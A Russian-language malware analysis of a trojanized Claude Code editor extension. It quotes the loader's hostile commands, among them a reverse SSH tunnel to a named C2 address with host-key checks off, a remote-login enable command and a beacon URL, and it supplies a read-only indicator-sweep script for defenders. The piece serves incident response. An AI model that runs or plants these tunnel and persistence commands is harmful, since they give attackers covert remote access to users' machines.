Расширение Claude Code с SSH-бэкдором: разбор атаки

Расширение Claude Code с SSH-бэкдором: разбор атаки

Вы расширение даже не открывали. Достаточно было запустить VS Code: через полторы секунды после активации на машине уже работал обратный SSH-туннель к чужому серверу, а в authorized_keys лежал новый ключ с комментарием svc-telemetry.

Речь о сборке anthropic.claude-code@2.1.313, которая появилась в реестре Open-VSX. Её опубликовали с аккаунта сотрудника Anthropic, а в файл extension.js добавили 66 строк загрузчика перед легитимным кодом. Никаких npm-хуков, никакой экзотической упаковки: обычный IIFE с импортами process, fs, os, http и crypto, вклеенный в начало.

Что именно произошло

Троянизированная сборка расширения для редактора кода выполняла чужой код в момент загрузки, а не при обращении к ней. Загрузчик собирал сведения о машине, добавлял в ~/.ssh/authorized_keys публичный ключ Ed25519 с комментарием svc-telemetry, включал удалённый вход и поднимал обратный туннель к серверу 134.209.82.225, после чего закреплялся в системе под именем, похожим на системный демон macOS.

Инцидент разобрали аналитики OpenSourceMalware, первым его заметил Дин Хардкасл. Важная оговорка от самих исследователей: вредоносный образец пришёл из Open-VSX, копию в маркетплейсе Microsoft сняли «из предосторожности», и ничто из опубликованного пока не доказывает взлом инфраструктуры Anthropic. Открытый вопрос это аккаунт публикатора.

Механика по шагам

Сначала разведка. Загрузчик собирал имя хоста, пользователя, версию ОС и архитектуру, домашний каталог, git-почту и имена до 40 переменных окружения, подходящих под KEY, TOKEN, SECRET, PASS, AWS, GCP. Именно имена, не значения: на этом этапе атакующим нужна инвентаризация того, что у вас есть, а не сами секреты.

Потом доступ. Создавался ~/.ssh с правами 0700, в authorized_keys (0600) дописывался ключ Ed25519. Его отпечаток: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. На macOS загрузчик вызывал sudo -n systemsetup -setremotelogin on, что проходит при passwordless sudo и молча падает без него. На Linux включался sshd, на Windows устанавливался OpenSSH Server.

Дальше туннель. Встроенный приватный ключ декодировался в ${TMPDIR}/.stk_<id>, и запускался цикл ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22' с отключённой проверкой host key, переподключением каждые 60 секунд и autossh, если он есть в системе. Смысл конструкции в том, что сервер атакующих получает доступ к вашему SSH из любой точки мира через ваше же исходящее соединение. Входящие порты открывать не нужно, файрвол ничего не блокирует.

Закрепление сделано под macOS через LaunchAgent com.apple.sysmond.plist с RunAtLoad и KeepAlive, под Linux через @reboot в crontab, под Windows через задачу планировщика SysMon от имени SYSTEM. Наконец маячок: через 1,5 секунды загрузчик узнавал публичный IP через ifconfig.me или api.ipify.org и отправлял собранный JSON на http://134.209.82.225:8099/beacon. Ответ игнорировался, второй стадии в образце не нашли.

Почему обратный туннель хуже обычного бэкдора

Обратный туннель это не просто доступ, а доступ, который почти не видно снаружи. Машина сама инициирует исходящее SSH-соединение и просит удалённую сторону открыть порт, который будет проксировать на локальный 22. Входящих портов на вашей стороне не появляется, правил файрвола менять не нужно, а в логах остаётся обычный исходящий трафик на 22-й порт. Проверка host key отключена, поэтому даже подмена сервера соединение не остановит.

Дальше работает цикл: повтор раз в 60 секунд, а при наличии autossh переподключение живёт само. Для атакующих это дешёвая инфраструктура: один сервер, много машин, каждая стучится сама. Для вас это означает, что разрыв соединения ничего не исправляет, а перезагрузка возвращает всё через RunAtLoad, @reboot или задачу планировщика.

Ключ svc-telemetry в authorized_keys добавляет второй, независимый путь. Даже если убить процесс и снять автозапуск, ключ остаётся, а вместе с включённым Remote Login он даёт вход по SSH без пароля. Поэтому аудит проверяет ключ, процесс и закрепление по отдельности: убрать одно из трёх недостаточно.

Почему это сработало

Три структурные причины, и они важнее конкретных IOC, потому что механизм повторится.

Первая: загрузка это исполнение. Полезная нагрузка отработала при активации расширения, до любого взаимодействия с инструментом. Модель угроз «я пользуюсь Claude только когда сам решу» не выдерживает контакта с тем, как расширения на самом деле загружаются. Редактор стартует, расширение активируется, код выполняется.

Вторая: реестры отдают изменяемые биты. Аккаунт публикатора может заменить код доверенного расширения, и все клиенты с автообновлением получат новую версию. Защита, которая поймала бы это за секунду, называется pinning по хешу, и почти никто не применяет её к расширениям. Проверка ровно та же, что в шестом пункте аудита ниже: shasum -a 256 на загрузчик всего критичного, записанный в момент осознанной установки.

Третья: имена сделаны под социальную инженерию. com.apple.sysmond, SysMon, svc-telemetry: каждый индикатор спроектирован так, чтобы пережить беглый ls. Поэтому аудит проверяет точные имена и точные хеши, а не общее впечатление «вроде ничего лишнего».

Контекст месяца

Это четвёртая история про цепочку поставок агентских инструментов за месяц, и самая интимная. До неё были две скомпрометированные сборки популярного LLM-прокси, 13 500 CI-воркфлоу, сливавших секреты через украденные GitHub-токены, и транскрипты фоновых агентов, уехавшие в модель. Теперь дроппером стал сам инструмент, внутри которого живёт агент.

Закономерность неприятная: периметр смещается внутрь. Раньше защищали сеть, потом API-ключи, теперь приходится защищать редактор, расширение и файл в домашнем каталоге. Агенты при этом не уязвимость. Уязвима экосистема, которая вокруг них собирается, и она растёт быстрее, чем кто-либо успевает её проверять.

Семь проверок, которые стоит прогнать сегодня

Скрипт ниже только читает, ничего не меняет и не требует root. Он собран по опубликованным IOC и проверяет семь вещей: ключ svc-telemetry в authorized_keys, поддельный LaunchAgent, файлы-маркеры .smt, .smtk и smt.cmd, ключ туннеля .stk_* во временном каталоге, живой ssh-процесс с адресом C2, хеш extension.js у установленных копий и неожиданно включённый Remote Login на macOS.

#!/bin/sh
# read-only IOC sweep for anthropic.claude-code@2.1.313
set -u
HITS=0
hit() { HITS=$((HITS+1)); printf '[!!] %s\n' "$1"; }
ok()  { printf '[ok] %s\n' "$1"; }

grep -q 'svc-telemetry' "$HOME/.ssh/authorized_keys" 2>/dev/null \
  && hit 'backdoor key in authorized_keys' || ok 'authorized_keys clean'

[ -f "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" ] \
  && hit 'rogue LaunchAgent com.apple.sysmond' || ok 'no rogue LaunchAgent'

for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/.config/smt.cmd"; do
  [ -f "$f" ] && hit "marker file $f"
done

ls "${TMPDIR:-/tmp}"/.stk_* >/dev/null 2>&1 \
  && hit 'tunnel key .stk_* in TMPDIR' || ok 'no tunnel key'

pgrep -af ssh 2>/dev/null | grep -q '134\.209\.82\.225' \
  && hit 'live ssh process to C2' || ok 'no live C2 tunnel'

HASH=ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
for d in "$HOME"/.vscode/extensions/anthropic.claude-code-* \
         "$HOME"/.cursor/extensions/anthropic.claude-code-*; do
  [ -f "$d/extension.js" ] || continue
  [ "$(shasum -a 256 "$d/extension.js" | cut -d' ' -f1)" = "$HASH" ] \
    && hit "trojan hash in $d"
done

printf 'indicators found: %s\n' "$HITS"

Чистый прогон не выдаёт бессрочный сертификат здоровья: разобранная сборка одна, а операторы итерируют. Но на сегодняшний вопрос он отвечает. Если хоть одна проверка сработала, порядок такой: отключить машину от сети, менять все учётные данные с другой, заведомо чистой системы (имена переменных собирали не просто так), сохранить артефакты для разбора и пересобрать машину. Интерактивный SSH означает, что найденное может занижать масштаб произошедшего.

Как проверить, что у вас стоит

Версии расширений видны одной командой: code --list-extensions --show-versions печатает список с номерами, и если в нём есть anthropic.claude-code@2.1.313, разбираться нужно сразу. Каталог ~/.vscode/extensions (или ~/.cursor/extensions) хранит установленные копии по папкам вида anthropic.claude-code-<версия>, и хеш extension.js в каждой проверяется тем же shasum.

Отдельно стоит посмотреть, не осталось ли в ~/.ssh/authorized_keys строк, которых вы не добавляли. Файл читают редко, поэтому лишняя строка может жить там месяцами. Быстрый способ: сравнить число ключей с тем, что вы помните, и проверить каждый комментарий на узнаваемость. Комментарий это свободное поле, и атакующие используют его как маскировку.

И ещё: отключите автообновление для расширений с доступом к файловой системе и терминалу. Придётся обновляться руками, зато подмена версии не приедет в фоне, пока вы обедаете.

Что с этим делать дальше

Отдельно стоит пройтись по своим расширениям и понять, сколько из них обновляется сами. Практика «поставил и забыл» здесь равна «отдал код на исполнение тому, кого не выбирал». Минимальный набор: отключить автообновление для критичных расширений, фиксировать хеши загрузчиков, не держать в env-переменных долгоживущие ключи без крайней нужды, а на машинах, где живут агенты с доступом к репозиториям, включить пароль на sudo и не давать passwordless-режим по умолчанию.

И ещё одно, менее техническое. Агентские инструменты теперь ставятся так же легко, как обычные расширения редактора, но последствия у них другого класса: доступ к репозиториям, ключам, CI и продакшену. Гигиена установки должна соответствовать цене ошибки, а она у Claude Code или Cursor заметно выше, чем у подсветки синтаксиса.

Часто задаваемые вопросы

Я не открывал Claude Code, я всё равно в зоне риска? Да, если расширение было установлено и обновлено до заражённой версии. Полезная нагрузка выполнялась при активации расширения на старте редактора, а не при обращении к чату. Проверять нужно факт установки сборки 2.1.313, а не историю ваших запросов.

Достаточно ли сменить пароли? Нет. В системе оставался SSH-ключ, включённый удалённый вход и процесс, который переподключается каждые 60 секунд. Пока машина в сети, смена паролей не мешает доступу по ключу. Сначала изоляция и удаление закрепления, потом ротация с чистой системы, в худшем случае пересборка.

Взломали ли Anthropic? Опубликованные данные этого не показывают. Вредоносная сборка появилась в Open-VSX с аккаунта сотрудника, копию в маркетплейсе Microsoft сняли из предосторожности. Вопрос о том, как именно получен доступ к аккаунту публикатора, на момент разбора оставался открытым.

Хеш расширения это надёжная проверка? Для конкретной известной сборки да, и это единственный способ поймать подмену за секунды. Против будущих версий он не работает, поэтому смысл не в самом хеше, а в привычке фиксировать хеши того, что вы ставите осознанно. Без этой привычки вы узнаёте о подмене из чужих разборов.

Как узнать, какая версия расширения установлена? code --list-extensions --show-versions печатает все расширения с версиями. Дополнительно можно заглянуть в каталоги ~/.vscode/extensions или ~/.cursor/extensions: каждая установленная копия лежит в папке с версией в имени, а extension.js внутри проверяется по хешу из разбора.

Итог

Троянизированное расширение Claude Code показало неприятную вещь: цепочка поставок добралась до инструмента, внутри которого работает агент, и сделала это без клика, без диалога и без запроса разрешений. Шестьдесят шесть строк в одном файле дали SSH-доступ, удалённый вход, обратный туннель и закрепление под системным именем.

Практический вывод короткий. Прогнать семь проверок, зафиксировать хеши критичных расширений, убрать passwordless sudo с машин, где живут агенты, и перестать считать установку расширения безобидным действием. Всё остальное это детали конкретной сборки, которая уже удалена из реестров.

← Все записи